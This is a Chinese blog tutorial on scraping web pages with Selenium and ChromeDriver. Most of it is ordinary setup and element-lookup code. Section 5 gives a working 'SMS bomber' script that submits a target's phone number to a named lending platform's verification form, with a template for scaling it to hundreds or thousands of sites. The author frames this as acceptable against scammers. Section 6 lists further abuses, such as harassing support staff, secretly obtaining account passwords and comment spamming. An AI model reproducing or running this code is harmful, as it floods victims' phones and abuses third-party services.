总是每隔一段时间懒惰很久,懒惰中懊恼虚度光阴,又沉溺懒惰不能自拔,陷入这种怪圈中很久很久。这一篇本应该上年写的,因为懒惰迟迟没有动手。懒惰误人生……
使用selenium爬数据的好处有很多。有些网页数据是通过js加载后才有的,并且有复杂的校验过程;有些网页需要登录后才能查看数据;有些网页需要点击后才能展示数据... 这些都可以通过selenium的webdriver来抓取数据,它就是一个可以用代码控制的浏览器!它可以获取到最终的html,点击按钮按钮,执行js,有多种多样的查找元素方式,支持无图模式,支持无头模式。
1.本机环境
mac os 10.12.5 python 3.5 selenium 3.14.0 Chrome浏览器 适合Chrome的webdriver
Chrome webdriver 下载地址https://www.nuget.org/packages/Selenium.Chrome.WebDriver/
电脑上要安装Chrome浏览器,在这里找到适合自己的chrome版本和系统版本的包下载即可
2.打开一个链接
安装selenium
$ pip3 install selenium -i https://mirrors.aliyun.com/pypi/simple/
给chromedriver添加执行权限,保证下载的chromedriver有执行权限
$ ls -l | grep chrome
-rw-r--r-- 1 username staff 15275600 9 9 10:52 chromedriver
$ chmod 744 chromedriver
$ ls -l | grep chrome
-rwxr--r-- 1 username staff 15275600 9 9 10:52 chromedriver
运行下面的python代码
from selenium import webdriver
#注意:executable_path是第一步下载的驱动文件的路径,本代码chromedriver和代码在同一路径下
driver=webdriver.Chrome(executable_path="./chromedriver")
driver.get("https://blog.csdn.net/moluth/article/category/7368231")
如果能打开下面的页面说明已经可以继续进行下面的步骤了
3.抓取这个页面上的数据
from selenium import webdriver
driver=webdriver.Chrome(executable_path="./chromedriver")
driver.get("https://blog.csdn.net/moluth/article/category/7368231")
eles=driver.find_elements_by_xpath("//ul[@class='column_article_list']//li")
for ele in eles:
title=ele.find_element_by_class_name("column_article_title").text
data=ele.find_element_by_class_name("column_article_data").text
print(title,data)
#输出
# 原
# 爬虫系列(一)--爬虫开端 2018-09-08 15:25:51 阅读数 989 评论数 0
# 原
# 爬虫系列(二)--爬取原始html 2018-09-08 16:00:22 阅读数 569 评论数 0
# 原
# 爬虫系列(三)--爬取指定区域数据 2018-09-08 17:31:41 阅读数 878 评论数 0
# 原
# 爬虫系列(四)--全站爬取 2018-09-17 14:49:39 阅读数 1630 评论数 0
# 原
# 爬虫系列(五)--爬取商城评论数据 2018-09-21 13:03:49 阅读数 1400 评论数 0
# 原
# 爬虫系列(六)--爬取页面上的图像 2018-09-30 12:13:22 阅读数 232 评论数 0
4.点开某个链接
from selenium import webdriver
import time
driver=webdriver.Chrome(executable_path="./chromedriver")
driver.get("https://blog.csdn.net/moluth/article/category/7368231")
eles=driver.find_elements_by_xpath("//ul[@class='column_article_list']//li")
time.sleep(5)#休眠5s
eles[2].click()#点击第三篇文章
5.短信轰炸机
短信轰炸机是用来给某个某些手机号码发送大量的验证码的恶意小代码。编码者要找多个平台,写发送验证码功能,浪费大量时间和精力。目标手机号会收到大量的验证码短信,如果持续时间很长,会让机主关机,甚至精神崩溃。是一个损人不利己的功能,劝大家善良。如果真有什么深仇大恨,建议直接上拳头,揍得对方认不得娘。当然,可以对未知的诈骗号码施放该技能,出一口恶气。
下面代码中,只有一个恶意借贷平台的验证码,有可能网页改版后不能使用,仅供参考。真正使用过程,可能是几百个甚至几千个,轰炸到对方怀疑人生。
from selenium import webdriver
import time
#目标手机号
target_phone_number='13838438xxx'
#启动chrome
driver=webdriver.Chrome(executable_path="./chromedriver")
driver.get("https://blog.csdn.net/moluth/article/category/7368231")
####################平台1
#打开该平台页面
driver.get("https://channel-ddq.2orangetech.com")
#找到手机号输入框
p_num=driver.find_element_by_name("mobile")
#输入目标手机号
p_num.send_keys(target_phone_number)
time.sleep(1)
#找到发送按钮并点击
submit=driver.find_element_by_class_name("btn-css")
submit.click()
time.sleep(1)
####################平台2
#打开页面
driver.get("平台2链接")
#输入手机号
#点击发送按钮
#.........
####################平台n
#打开页面
driver.get("平台n链接")
#输入手机号
#点击发送按钮
6.可以实现的其他功能
给客服小妹发骚扰消息,提高某页面浏览量,偷偷获取某人账号密码,评论区刷屏...
在对前几篇爬虫系列文章理解的基础上,应该可以做很多事情。如果某网页需要登录,先打开该网页,代码休眠若干秒,这时候输入用户名密码再继续执行。
7.webdriver常用方法简介
方法或属性名字含义很明确,如果了解html,很容易理解
元素查找
find_element_by_class_name find_element_by_css_selector find_element_by_id
find_element_by_tag_name find_element_by_xpath
find_elements_by_class_name find_elements_by_css_selector find_elements_by_id
find_elements_by_name find_elements_by_xpath
元素属性
is_displayed is_enabled is_selected text
截屏
screenshot_as_png screenshot_as_base64
数据交互
send_keys click clear
退出
driver.quit()
无图浏览模式
from selenium import webdriver
#配置不加载图片
chrome_options = webdriver.ChromeOptions()
prefs = {"profile.managed_default_content_settings.images":2}
chrome_options.add_experimental_option("prefs",prefs)
#启动浏览器
driver=webdriver.Chrome(executable_path="./chromedriver",chrome_options=chrome_options)